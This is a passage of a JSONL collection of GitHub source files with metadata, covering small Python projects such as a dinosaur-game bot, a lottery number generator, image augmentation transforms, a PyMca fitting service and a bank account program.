Given a full path or relative path, checks if file already exists\ninput: Directory path and filename to be searched, only name of file must be provided.\nOutput: True or False based on file found or not.\n'''\ndef checkIfFileExists(dirpath, filename):\n return (filename in listdir(dirpath))\n","repo_name":"sandeep-krishnamurthy/MovieSuccessPrediction","sub_path":"Src/IOHelper.py","file_name":"IOHelper.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"18"} +{"seq_id":"21945875694","text":"import pyautogui\r\nfrom PIL import ImageGrab, ImageOps\r\nimport time\r\nfrom numpy import *\r\n\r\nclass cord():\r\n repBtn = (340,420)\r\n trex = (171,420)\r\n\r\ndef restartG():\r\n pyautogui.click(cord.repBtn)\r\n\r\ndef pressSpace():\r\n pyautogui.keyDown('space')\r\n time.sleep(0.03)\r\n print(\"Jump\")\r\n pyautogui.keyUp('space')\r\n\r\ndef imageGrab():\r\n box = (cord.trex[0]+60,cord.trex[1],\r\n cord.trex[0]+100,cord.trex[1]+30)\r\n image = ImageGrab.grab(box)\r\n grayImage = ImageOps.grayscale(image)\r\n a = array(grayImage.getcolors())\r\n return(a.sum())\r\n\r\ndef main():\r\n restartG()\r\n while True:\r\n if(imageGrab()!=1447):\r\n pressSpace()\r\n time.sleep(0.1)\r\nmain()\r\n \r\n","repo_name":"GnopP0p/Projects","sub_path":"projektai/AI Bot for trex.py","file_name":"AI Bot for trex.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3736216669","text":"#coding=utf-8\n\nfrom Core.GameObject import GameObject\nfrom Core.PPlay.sound import Sound\nfrom Core.Game import Game\nfrom Core.Scene.SceneManager import SceneManager\nfrom Core.GameStateManager import GameStateManager\n\nfrom GameObjects.Spawner import Spawner\nfrom GameObjects.UI._Text import UIText\n\nclass EndLevel(GameObject):\n def __init__(self, text):\n super().__init__()\n self.soundtrack: Sound = None\n self.__activated = False\n self.__text = text\n \n def setSoundTrack(self, music_name):\n self.soundtrack = Sound(music_name)\n \n def active(self):\n from GameObjects.Levels.LevelNameLabel import LevelNameLabel\n \n timer = Game.findGameObjectWithName('timer_hub')\n timer.pause()\n \n level_label = LevelNameLabel(self.__text)\n SceneManager.addGameObjectToCurrentScene(level_label)\n \n GameStateManager.instance.changeGameState(GameStateManager.WAITING)\n self.__activated = True\n \n def start(self):\n self.save()\n \n def deactive(self):\n self.soundtrack.stop()\n \n self.__activated = False\n \n self.save()\n \n def findSpawnerWithName(self):\n return None\n \n def save(self):\n from Core.FileScoreManager import gravaPontuacao\n \n nome_jogador = input(\"Digite o nome para aparecer no ranking: \")\n \n current_ranking = gravaPontuacao((nome_jogador, Game.score))\n \n Game.window.close()\n \n def onLevelChanges(self, level):\n if(level == self):\n self.active()\n else:\n if self.__activated:\n self.deactive()","repo_name":"Diogo2550/SpaceWarriors","sub_path":"GameObjects/Levels/EndLevel.py","file_name":"EndLevel.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13297517699","text":"# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nDLT\r\n\"\"\"\r\n\r\nfrom pyquery import PyQuery as pq\r\nfrom .base import Base\r\nfrom ..utils import (create_lottery_number_with_weight,\r\n create_lottery_number_with_lucky,\r\n requests_get, init_balls_with_wt,\r\n dct_add_lst_with_weight, str_to_lst,\r\n dct_change_cold_weight, dct_add_dct,\r\n lottery_number_to_pt)\r\nfrom ..const import LuckyLst, LuckyWt\r\nfrom prettytable import PrettyTable\r\n\r\n\r\nclass DLT(Base):\r\n\r\n hisUrl = \"http://baidu.lecai.com/lottery/draw/list/1/?type=latest&num={num}\"\r\n coldUrl = (\"http://baidu.lecai.com/lottery/draw/sorts/ajax_get_stats.php?lottery_type=1&play_type=101\")\r\n\r\n def __init__(self):\r\n Base.__init__(self)\r\n self.init_dct()\r\n\r\n def init_dct(self):\r\n self.rDct, self.bDct = self._get_lottery_dct()\r\n\r\n def _get_lottery_dct(self):\r\n \"\"\"\r\n 返回中奖号码权重, 包括 往期开奖号码 及 冷号权重\r\n \"\"\"\r\n r_dct, b_dct = self._get_lottery_history_dct(self.hisNum)\r\n c_red_dct, c_blue_dct = self._get_lottery_cold_dct()\r\n rDct = dct_add_dct(r_dct, c_red_dct)\r\n bDct = dct_add_dct(b_dct, c_blue_dct)\r\n return rDct, bDct\r\n\r\n def _get_lottery_history_dct(self, num, hisWt=1):\r\n \"\"\"\r\n 根据往期开奖结果 获得权重\r\n num: 历史期数 30 50 100\r\n hisWt:每出现一次,权重加几 默认为1\r\n \"\"\"\r\n\r\n r_dct, b_dct = init_balls_with_wt(self.rLen, self.bLen, wt=1)\r\n r = requests_get(self.hisUrl.format(num=num))\r\n assert r.status_code == 200\r\n d = pq(r.text)\r\n redballs = d(\"td .redBalls\")\r\n blueballs = d(\"td .blueBalls\")\r\n\r\n for item in redballs:\r\n r_dct = dct_add_lst_with_weight(r_dct,\r\n str_to_lst(pq(item).text().strip()), hisWt)\r\n\r\n for item in blueballs:\r\n b_dct = dct_add_lst_with_weight(b_dct,\r\n str_to_lst(pq(item).text().strip()), hisWt)\r\n return r_dct, b_dct\r\n\r\n def _get_lottery_cold_dct(self, coldWt=10):\r\n \"\"\"\r\n 根据往期的冷号情况 返回冷号权重\r\n \"\"\"\r\n r = requests_get(self.coldUrl)\r\n assert r.status_code == 200\r\n data = r.json()\r\n analyse_data = data.get('analysis_data', None)\r\n assert analyse_data\r\n items = analyse_data.get('cold_appear', None)\r\n assert len(items) == 2\r\n c_red_rst = dict((int(item[\"ball\"]), int(item[\"nums\"])) for item in items[0])\r\n c_blue_rst = dict((int(item[\"ball\"]), int(item[\"nums\"])) for item in items[1])\r\n # 冷号权重 = coldWt - 出现次数\r\n c_red_dct = dct_change_cold_weight(c_red_rst, wt=coldWt)\r\n c_blue_dct = dct_change_cold_weight(c_blue_rst, wt=coldWt)\r\n return c_red_dct, c_blue_dct\r\n\r\n def create_with_wt(self):\r\n if self.rDct and self.bDct:\r\n # dct copy, 防止调用修改原dct\r\n return create_lottery_number_with_weight(self.rDct.copy(), self.bDct.copy(), self.rNum, self.bNum)\r\n else:\r\n print(\"dict error\")\r\n\r\n def create_with_lucky(self):\r\n if self.rDct and self.bDct:\r\n # dct copy, 防止调用修改原dct\r\n return create_lottery_number_with_lucky(self.rDct.copy(), self.bDct.copy(), self.rNum, self.bNum, LuckyLst, LuckyWt)\r\n else:\r\n print(\"dict error\")\r\n\r\n def show(self):\r\n \"\"\"\r\n 展示\r\n \"\"\"\r\n header = '编号 随机号码 随机种类'.split()\r\n pt = PrettyTable()\r\n pt._set_field_names(header)\r\n # align left\r\n # pt.align[\"随机号码\"] = \"l\"\r\n\r\n n, w, l = self.prompt()\r\n idx = 1\r\n print(u'大乐透随机摇号:')\r\n if n:\r\n for i in range(n):\r\n row = [idx, lottery_number_to_pt(self.create()), u'纯随机']\r\n pt.add_row(row)\r\n idx = idx+1\r\n\r\n if w:\r\n for i in range(w):\r\n row = [idx, lottery_number_to_pt(self.create_with_wt()), u'权重随机']\r\n pt.add_row(row)\r\n idx = idx+1\r\n\r\n if l:\r\n for i in range(l):\r\n row = [idx, lottery_number_to_pt(self.create_with_lucky()), u'幸运数字']\r\n pt.add_row(row)\r\n idx = idx+1\r\n\r\n print(pt)\r\n","repo_name":"bonfy/lottery","sub_path":"lottery/extractor/dlt.py","file_name":"dlt.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30652574654","text":"import torch\nimport torch.nn as nn\n\nimport math, random, sys, os\nimport cPickle as pickle\no_path = os.getcwd()\nsys.path.append(o_path)\nfrom models.tree import *\n\n\nfrom utils.shapefiles import sampleShapefileLocations\nfrom analysis.peaksdata import filterPeaksHaversineDist\nfrom utils.divtree_gen import *\nfrom utils.seqdata_gen import *\nfrom utils.seq2demodst import *\n# process each region (note: it takes a long time!)\nregionShapesDir = '../data/regionShapes'\nregionPeaksDir = '../data/regionPeaks'\nregionSeqsDir = '../data/regionSeqs'\nregionTreeSeqsDir = '../data/regionTreeSeqs'\n\nregionShapes = ['andes_peru.shp']\n\n# export PYTHONPATH=~/ex_code/icml18-jtnn\ndef tensorize(peaks, assm=True):\n tree = DTree(peaks)\n return tree\n\nif __name__ == \"__main__\":\n # python preprocess.py --train ../data/moses/train.txt --split 100 --jobs 16\n diskRadius = 20\n all_data = []\n for region in regionShapes:\n st = time.time()\n # sample stats locations inside polygon, separated at least 1/2 radius distance\n sampleLocations = sampleShapefileLocations(os.path.join(regionShapesDir, region), diskRadius)\n print(region, \": \", len(sampleLocations), \"samples\")\n # region peaks DB\n df = pd.read_csv(os.path.join(regionPeaksDir, region.replace('.shp', '.csv')))\n print(len(sampleLocations))\n allTrees = []\n # compute sequences\n for di,diskCenter in enumerate(sampleLocations):\n # filter peaks in disk using haversine distance\n peaks = filterPeaksHaversineDist(df, diskCenter, diskRadius)\n t_tree = tensorize(peaks)\n all_data.append(t_tree)\n print(di, len(peaks))\n if di > 100:\n break\n with open('tensors-1.pkl', 'wb') as f:\n pickle.dump(all_data, f, pickle.HIGHEST_PROTOCOL)\n\n","repo_name":"SNWK/DivideTree","sub_path":"Model_GAE_Jtnn/helpers/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"12122504178","text":"# -*- python -*-\n# Jiao Lin\n# Caltech\n\n\n# perform the operations\n\nclass Performer(object):\n\n def render(self, operations):\n for op in operations:\n op.identify(self)\n continue\n return \n\n\n def onSet(self, op):\n os.environ[op.name] = op.value\n\n\n def onAppend(self, op):\n old = os.environ.get(op.name)\n if old:\n new = '%s:%s' % (old, op.value)\n else:\n new = op.value\n os.environ[op.name] = new\n\n\n def onPrepend(self, op):\n old = os.environ.get(op.name)\n if old:\n new = '%s:%s' % (op.value, old)\n else:\n new = op.value\n os.environ[op.name] = new\n\n\nimport os\n\n# $Id$\n# end of file\n","repo_name":"danse-inelastic/build_utils","sub_path":"envvars/renderers/Performer.py","file_name":"Performer.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12107087792","text":"# we are going to used the nested function call in the program\n\n# any function that need to be used as a nested function call needs to have a return value\n\n\n\ndef optionalvalue(operator,optionalvalue):# args will take n argumets that at runtime without any trouble\n sumcalu = operator+optionalvalue\n print(sumcalu)\n return sumcalu\n \n\ndef choice():\n choice = int(input(\"Please input the choice of operator\"))\n return choice\ndef validation(choice):\n\tif choice ==1:\n\t\toperator =\tint(input(\"Please enter the value to get sum\"))\n\t\toptionalvalue(operator)\n\tif choice ==2:\n\t\toperator =\tint(input(\"Please enter the value to get sum\"))\n\t\toperator1 =\tint(input(\"Please enter the value to get sum\"))\n\t\toptionalvalue(operator,operator1)\n\tif choice ==3:\n\t\toperator =\tint(input(\"Please enter the value to get sum\"))\n\t\toperator1 =\tint(input(\"Please enter the value to get sum\"))\n\t\toperator3 =\tint(input(\"Please enter the value to get sum\"))\n\t\toptionalvalue(operator,optionalvalue(operator1,operator3))# nested function call\n#choice()\nval = choice() \nprint(\"flag1\")\nvalidation(val)\nprint(\"flag2\")\nchoiceinput = input(\"please let me know if you want to continue\")\n\nwhile choiceinput ==\"y\":\n val = choice()\n validation(val)\n value2 = input(\"Please let me know if you want to stop\")\n if value2 == \"y\":\n break\n else:\n continue\n ","repo_name":"shoaibshaik26/python","sub_path":"nestedfuncationcall.162.py","file_name":"nestedfuncationcall.162.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36371444618","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nclass SVG:\r\n def __init__(self):\r\n self.svg = document.createElementNS(\"http://www.w3.org/2000/svg\", \"svg\")\r\n self.svgNS = self.svg.namespaceURI\r\n self.svg.setAttribute('height', 500)\r\n self.svg.setAttribute('width', 250)\r\n self.r1 = self.draw_graphic('rect', 'x:10; y:10; width:230; height:480; fill:#ff00ff')\r\n self.svg.appendChild(self.r1)\r\n self.r2 = self.draw_graphic('rect', 'x:40; y:30; width:170; height:400; fill:pink; stroke:purple; strokeWidth:7')\r\n self.svg.appendChild(self.r2)\r\n self.c1 = self.draw_graphic('circle', 'cx:125; cy:460; r:10; fill:white; stroke:black; strokeWidth:2')\r\n self.svg.appendChild(self.c1)\r\n self.c2 = self.draw_graphic('circle', 'cx:125; cy:125; r:48; fill:none; stroke:#000')\r\n self.svg.appendChild(self.c2)\r\n self.p1 = document.createElementNS(self.svgNS,'path')\r\n self.p1.setAttribute('d', 'M125,76a48,48 0 1 1 0,96a24 24 0 1 1 0-48a24 24 0 1 0 0-48')\r\n self.svg.appendChild(self.p1)\r\n self.c3 = self.draw_graphic('circle', 'cx=125; cy=96; r=6')\r\n self.svg.appendChild(self.c3)\r\n self.c4 = self.draw_graphic('circle', 'cx=125; cy=155; r=6; fill=#FFF')\r\n self.svg.appendChild(self.c4)\r\n self.t1 = self.draw_graphic('text', 'x:125; y:250; font-size:30; family-font:Verdana; text-anchor:middle; fill:black')\r\n self.t1.textContent = \"Yin Yang\"\r\n for i in range(5):\r\n y = str(300+i*20)\r\n line = self.draw_graphic('line', 'x1=50; y1='+y+'; x2=200; y2='+y+'; stroke=gray; stroke-width=5')\r\n self.svg.appendChild(line) \r\n self.svg.appendChild(self.t1)\r\n document.body.appendChild(self.svg)\r\n \r\n def draw_graphic(self, kind, variablen):\r\n graphic = document.createElementNS(self.svgNS, kind)\r\n variablen = variablen.replace(\" \", \"\")\r\n elems = variablen.split(\";\")\r\n lelem = len(elems)\r\n for i in range(lelem):\r\n elem = elems[i]\r\n # console.log(elem)\r\n if \":\" in elem:\r\n key, value = elem.split(\":\")\r\n graphic.setAttribute(key, value)\r\n elif \"=\" in elem:\r\n key, value = elem.split(\"=\")\r\n graphic.setAttribute(key, value)\r\n return graphic\r\n\r\ngraphic = SVG()","repo_name":"bunkahle/Transcrypt-Examples","sub_path":"svg/svg_10.py","file_name":"svg_10.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"18"} +{"seq_id":"25217085242","text":"# https://leetcode.com/problems/delete-node-in-a-linked-list/\n# tags: #linked_list, #top_interview_questions\n#\n# Solution: Node swap with next node\n# Change the value of node with value of next node and then change next element for next of next element\n# Time complexity: O(1), Space complexity O(1)\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __str__(self):\n return str(self.val)\n\n\nclass Solution:\n def deleteNode(self, node: Optional[ListNode]) -> None:\n node.val = node.next.val\n node.next = node.next.next\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n\n h = ListNode(4)\n h.next = ListNode(5)\n h.next.next = ListNode(1)\n h.next.next.next = ListNode(9)\n sol.deleteNode(h.next)\n\n c = h\n while c:\n print(c, end=\" -> \")\n c = c.next\n print(\"\", end=\"\\n\")\n\n\n","repo_name":"ronelzb/leetcode","sub_path":"linked_list/0237_delete_node_in_a_linked_list.py","file_name":"0237_delete_node_in_a_linked_list.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19336785514","text":"N, step=map(int, input().split())\narr=[]\nfor i in range(N):\n arr.append(i+1)\na=step-1\ni=0\nans=[]\nwhile arr:\n if a>=len(arr):\n while a>=len(arr):\n a-=len(arr)\n ans.append(arr[a])\n arr.pop(a)\n a+=step-1\nprint('<',end='')\nfor i in range(len(ans)-1):\n print(ans[i],end=', ')\nprint(ans[-1],end='')\nprint('>')","repo_name":"Youngseo-Jeon0313/baekjoon","sub_path":"백준1158.py","file_name":"백준1158.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"40946903204","text":"import os\nimport sys\nimport random\nimport cv2\nimport numpy as np\nimport torch\n\n__all__ = [\n 'Normalize',\n 'RandomFlip',\n 'RandomCrop',\n 'RandomTranslate'\n]\n\n\nclass Normalize:\n def __init__(self):\n self.mean = torch.tensor([[[[0.471, 0.448, 0.408]]]], dtype=torch.float32)\n self.std = torch.tensor([[[[0.234, 0.239, 0.242]]]], dtype=torch.float32)\n\n def __call__(self, image):\n # image shape: [h, w, 3], 这里三分量的顺序已经调整成 RGB 了\n image = (image - self.mean) / self.std\n return image\n\n\nclass RandomFlip:\n def __init__(self, flip_prob=0.5):\n self.flip_prob = flip_prob\n\n def __call__(self, sample):\n flip_flag = np.random.uniform(0, 1)\n if flip_flag < self.flip_prob:\n image = sample['img']\n # image = image[:, ::-1, :] # 水平镜像\n image = cv2.flip(image, 1)\n annots = sample['annot']\n scale = sample['scale']\n size = sample['size']\n\n height, width, channel = image.shape\n\n x1 = annots[:, 0].copy()\n x2 = annots[:, 2].copy()\n\n annots[:, 0] = width - x2\n annots[:, 2] = width - x1\n\n sample = {'img': image, 'annot': annots, 'scale': scale, 'size': size}\n\n return sample\n\n\nclass RandomCrop:\n def __init__(self, crop_prob=0.35):\n self.crop_prob = crop_prob\n\n def __call__(self, sample):\n image, annots, scale, size = sample['img'], sample['annot'], sample['scale'], sample['size']\n if annots.shape[0] == 0:\n return sample\n prob = random.uniform(0, 1)\n if prob < self.crop_prob:\n h, w, _ = image.shape\n # 找出所有gt的最小外接矩形, shape: (4, )\n max_bbox = np.concatenate((np.min(annots[:, :2], axis=0),\n np.max(annots[:, 2:], axis=0)), axis=-1)\n max_left_trans, max_up_trans = max_bbox[0], max_bbox[1]\n max_right_trans, max_down_trans = w - max_bbox[2], h - max_bbox[3]\n\n # crop_x_min = max(0, int(max_bbox[0]-np.random.uniform(0, max_left_trans)))\n crop_x_min = int(np.random.uniform(0, max_left_trans))\n crop_y_min = int(np.random.uniform(0, max_up_trans))\n crop_x_max = max(w, int(max_bbox[2] + np.random.uniform(0, max_right_trans)))\n crop_y_max = max(h, int(max_bbox[2] + np.random.uniform(0, max_down_trans)))\n\n image = image[crop_y_min: crop_y_max, crop_x_min: crop_x_max]\n annots[:, [0, 2]] = annots[:, [0, 2]] - crop_x_min\n annots[:, [1, 3]] = annots[:, [1, 3]] - crop_y_min\n\n sample = {'img': image, 'annot': annots, 'scale': scale, 'size': size}\n return sample\n\n\nclass RandomTranslate:\n def __init__(self, translate_prob=0.5):\n self.translate_prob = translate_prob\n\n def __call__(self, sample):\n image, annots, scale = sample['img'], sample['annot'], sample['scale']\n\n if annots.shape[0] == 0:\n return sample\n\n prob = random.uniform(0, 1)\n if prob < self.translate_prob:\n h, w, _ = image.shape\n # 找出所有annots的最小外接矩形\n max_bbox = np.concatenate((np.min(annots[:, :2], axis=0),\n np.max(annots[:, 2:], axis=0)), axis=-1)\n max_left_trans, max_up_trans = max_bbox[0], max_bbox[1]\n max_right_trans, max_down_trans = w - max_bbox[2], h - max_bbox[3]\n\n tx = random.uniform(-(max_left_trans - 1), (max_right_trans - 1))\n ty = random.uniform(-(max_up_trans - 1), (max_down_trans - 1))\n\n M = np.array([[1, 0, tx], [0, 1, ty]])\n image = cv2.warpAffine(image, M, (w, h))\n\n annots[:, [0, 2]] = annots[:, [0, 2]] + tx\n annots[:, [1, 3]] = annots[:, [1, 3]] + ty\n\n return {'img': image, 'annot': annots, 'scale': scale}","repo_name":"weihule/study","sub_path":"torch_detection/datasets/data_transfrom.py","file_name":"data_transfrom.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41917425683","text":"import os\nimport shutil\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass FilesLocation:\n filename: str\n input_file: str\n output_file: str\n errors_file: str\n\n\nclass FilesHandler:\n \"\"\"\n Cleans and prepares files directory structure:\n ${ROOT}/input/${FILENAME} <-- input file\n ${ROOT}/output/${FILENAME} <-- cleaned up input file\n ${ROOT}/errors/${FILE_NAME}-errors.log <-- error log\n \"\"\"\n\n def __init__(self, root):\n self.root = root\n self.input_dir = os.path.join(self.root, 'input')\n self.output_dir = os.path.join(self.root, 'output')\n self.errors_dir = os.path.join(self.root, 'errors')\n\n def clean_up_old_data(self):\n shutil.rmtree(self.input_dir, ignore_errors=True, onerror=None)\n shutil.rmtree(self.output_dir, ignore_errors=True, onerror=None)\n shutil.rmtree(self.errors_dir, ignore_errors=True, onerror=None)\n self._prepare_file_structure()\n\n def _prepare_file_structure(self):\n os.makedirs(self.input_dir, exist_ok=True)\n os.makedirs(self.output_dir, exist_ok=True)\n os.makedirs(self.errors_dir, exist_ok=True)\n\n def traversal_files(self):\n for filename in os.listdir(self.input_dir):\n yield FilesLocation(filename,\n os.path.join(self.input_dir, filename),\n os.path.join(self.output_dir, filename),\n os.path.join(self.errors_dir, filename + '-errors.log')\n )\n","repo_name":"mjjk88/events_cleaner","sub_path":"events_cleaner/files_handler.py","file_name":"files_handler.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39525004248","text":"#!/usr/bin/python3\n\"\"\"defining a class Square\"\"\"\n\n\nclass Square:\n \"\"\" Classs that defines a square \"\"\"\n def __init__(self, size=0):\n \"\"\"initialization method\"\"\"\n if type(size) is not int:\n raise TypeError(\"size must be an integer\")\n if size < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = size\n\n \"\"\"Public instance method\"\"\"\n def area(self):\n \"\"\"Return value of area\"\"\"\n area = self.__size ** 2\n return area\n\n @property\n def size(self):\n \"\"\"Return value of size\"\"\"\n return self.__size\n\n @size.setter\n def size(self, number):\n \"\"\"initialization method\"\"\"\n if type(number) is not int:\n raise TypeError(\"size must be an integer\")\n if number < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = number\n\n \"\"\"Public instance method\"\"\"\n def my_print(self):\n if self.__size == 0:\n print(\"\")\n else:\n for i in range(self.__size):\n for j in range(self.__size):\n print(\"#\", end=\"\")\n print(\"\")\n","repo_name":"toshi-uy/holbertonschool-higher_level_programming","sub_path":"0x06-python-classes/5-square.py","file_name":"5-square.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"69855032041","text":"import turtle\n\ndef eyes(t):\n\tt.goto(15,25)\n\tt.hideturtle()\n\tt.down()\n\tt.begin_fill()\n\tt.color('black')\n\tfor i in range (1):\n\t\tt.circle(5,360)\n\t\tt.lt(90)\n\tt.end_fill()\n\tt.up()\n\tt.showturtle()\n\tt.goto(-35,25)\n\tt.rt(90)\n\tt.down()\n\tt.hideturtle()\n\tt.begin_fill()\n\tfor i in range (1):\n\t\tt.circle(5,360)\n\t\tt.rt(90)\n\tt.end_fill()\n\n\ndef halfcircle(t):\n\tt.up()\n\tt.goto(40,0)\n\tt.lt(90)\n\tt.hideturtle()\n\tt.down()\n\tt.begin_fill()\n\tt.color('green')\n\tfor i in range(1):\n\t\tt.circle(50,180)\n\t\tt.lt(90)\n\t\tt.forward(100)\n\tt.end_fill()\n\tt.up()\n\tt.showturtle()\n\t\ndef head(t):\n\thalfcircle(t)\n\teyes(t)\n\ndef main():\n\tw = turtle.Screen()\n\tw.setup(700, 700)\n\tw.clear()\n\tw.bgcolor(\"white\")\n\tt = turtle.Turtle()\n\thead(t)\n\tw.exitonclick()\n\t\nif __name__ == '__main__':\n\tmain()\n","repo_name":"CyberCrypter2810/python-2019-2020","sub_path":"group_code/turtle/head.py","file_name":"head.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20775787733","text":"from __future__ import absolute_import, division, print_function\n\nimport workflows.recipe\nfrom workflows.services.common_service import CommonService\nfrom .internals import plot_fluorescence_spectrum\n\nPARAMETERS = [\n 'inputFile',\n 'omega',\n 'transmission',\n 'samplexyz',\n 'acqTime',\n 'energy',\n 'xfeFluorescenceSpectrumID'\n ]\n\nclass DLSPyMcaFitter(CommonService):\n \"\"\"A service that takes an XRF dataset and sends it to PyMca for fitting\"\"\"\n\n _service_name = \"DLS PyMca Fitter\"\n\n _logger_name = \"dlstbx.services.pymca_fitter\"\n\n def initializing(self):\n \"\"\"Subscribe to a queue. Received messages must be acknowledged.\"\"\"\n self.log.info(\"PyMca fitter service starting\")\n workflows.recipe.wrap_subscribe(\n self._transport,\n \"pymca.fitter\",\n self.pymca_fitter_call,\n acknowledgement=True,\n log_extender=self.extend_log\n )\n\n def pymca_fitter_call(self, rw, header, message):\n \"\"\"Call dispatcher\"\"\"\n args = list(map(lambda param: rw.recipe_step.get(\"parameters\", {}).get(param), PARAMETERS))\n\n self.log.debug(\"Commands: %s\", ' '.join(args))\n try:\n plot_fluorescence_spectrum(*args)\n except Exception as e:\n self.log.warning(f\"Error running PyMca: {e}\", exc_info=True)\n rw.transport.ack(header)\n return\n self.log.info(\"%s was successfully processed\", rw.recipe_step.get(\"parameters\", {}).get(\"inputFile\"))\n rw.transport.ack(header)\n","repo_name":"DiamondLightSource/python-zocalo-pymca","sub_path":"pymca_zocalo/pymca_fitter.py","file_name":"pymca_fitter.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37579440227","text":"#!/usr/local/bin/python\n# -*- coding: utf-8 -*-\n#import io, os, sys\nimport pandas as pd\nimport chardet\nfrom constants import FILE_PATH\n\nclass ReadCSVFileUtil:\n\n def readFileCSV(fileName, usecols, encoding):\n\n if not encoding:\n with open(FILE_PATH+fileName, 'rb') as f:\n result = chardet.detect(f.read())\n print(result['encoding'])\n encoding = result['encoding']\n\n print(encoding)\n if usecols == \"ALL\":\n return pd.read_csv(FILE_PATH+fileName, encoding=encoding,\n sep=\";\", header=0)\n return pd.read_csv(FILE_PATH+fileName, encoding=encoding,\n sep=\";\", header=0, usecols=usecols)\n","repo_name":"leonardopache/python","sub_path":"investments-sheet/readCSVFileUtil.py","file_name":"readCSVFileUtil.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29101741138","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\nN, M = map(int, input().split())\nboard = [list(map(int, input().split())) for _ in range(N)]\n\ndef solution():\n q = deque()\n\n q.append((0, 0))\n visited[0][0] = 1\n\n while q:\n x, y = q.popleft()\n\n for dx, dy in ((0, 1), (1, 0), (0, -1), (-1, 0)):\n nx, ny = x + dx, y + dy\n\n if 0 <= nx < N and 0 <= ny < M:\n if not board[nx][ny] and not visited[nx][ny]:\n q.append((nx, ny))\n visited[nx][ny] = 1\n elif board[nx][ny] == 1:\n visited[nx][ny] += 1\n\n flag = False\n\n for i in range(N):\n for j in range(M):\n if visited[i][j] >= 2:\n board[i][j] = 0\n flag = True\n\n return flag\n\nresult = 0\n\nwhile True:\n\n visited = [[0] * M for _ in range(N)]\n flag = solution()\n if not flag:\n break\n else:\n result += 1\n\nprint(result)\n\n\n","repo_name":"bbookng/baekjoon","sub_path":"Gold/Gold3/2638_치즈.py","file_name":"2638_치즈.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32286927190","text":"import pickle \r\nimport os\r\nimport pathlib\r\nclass Account:\r\n accNo = 0 \r\n accName = '' # Name of Account in String value\r\n accType = '' # Type of account i.e Saving or Current\r\n deposit = 0 # initial deposite money = 0\r\n \r\n def CreateAccount(self):\r\n self.accNo = int(input(\"Enter the Account Number :\"))\r\n self.accName = input(\"Enter the Accont-Holder Name :\")\r\n self.accType = input(\"Enter the Type of Account that you want to Open(Savings or Current) :\")\r\n self.deposit = int(input(\"Enter the Initial deposite Amount (>=3000 for Savings and >=10000 for Current :\"))\r\n print(\"Account Created Successfully\")\r\n\r\n\r\n def ShowAccount(self):\r\n print(\"Account Number is :\", self.accNo)\r\n print(\"Account Name is :\", self.accName)\r\n print(\"Type of Account is :\", self.accType)\r\n print(\"Account Balance is :\", self.deposit)\r\n\r\n\r\n def ModifyAccountDetails(self):\r\n print(\"Account Number is :\" ,self.accNo)\r\n self.accName = input(\"Modify Account name is :\")\r\n self.accType =input(\"Modify Account type is :\")\r\n self.deposit = int(input(\"Modify Account Balance is :\"))\r\n\r\n def DepositAmount(self, amount):\r\n self.deposit += amount # Amount Increase when Deposit\r\n\r\n def WithdrawAmount(self, amount):\r\n self.deposit -= amount # Amount Decrease when Withdraw\r\n\r\n def report(self):\r\n print(self.accNo, \" \", self.accName, \" \", self.accType, \" \", self.deposit)\r\n\r\n def getAccountNumber(self):\r\n return self.accNo\r\n \r\n def getAccountHoldername(self):\r\n return self.accName\r\n\r\n def getAccountType(self):\r\n return self.accType\r\n\r\n def getDepositAmount(self):\r\n return self.deposit\r\n\r\ndef intro():\r\n print(\"\\t\\t\\t\\t**********************\")\r\n print(\"\\t\\t\\t\\tBANK MANAGEMENT SYSTEM\")\r\n print(\"\\t\\t\\t\\t**********************\")\r\n \r\n \r\n\r\ndef writeAccount():\r\n account = Account()\r\n account.CreateAccount()\r\n writeAccountsFile(account)\r\n\r\n\r\ndef 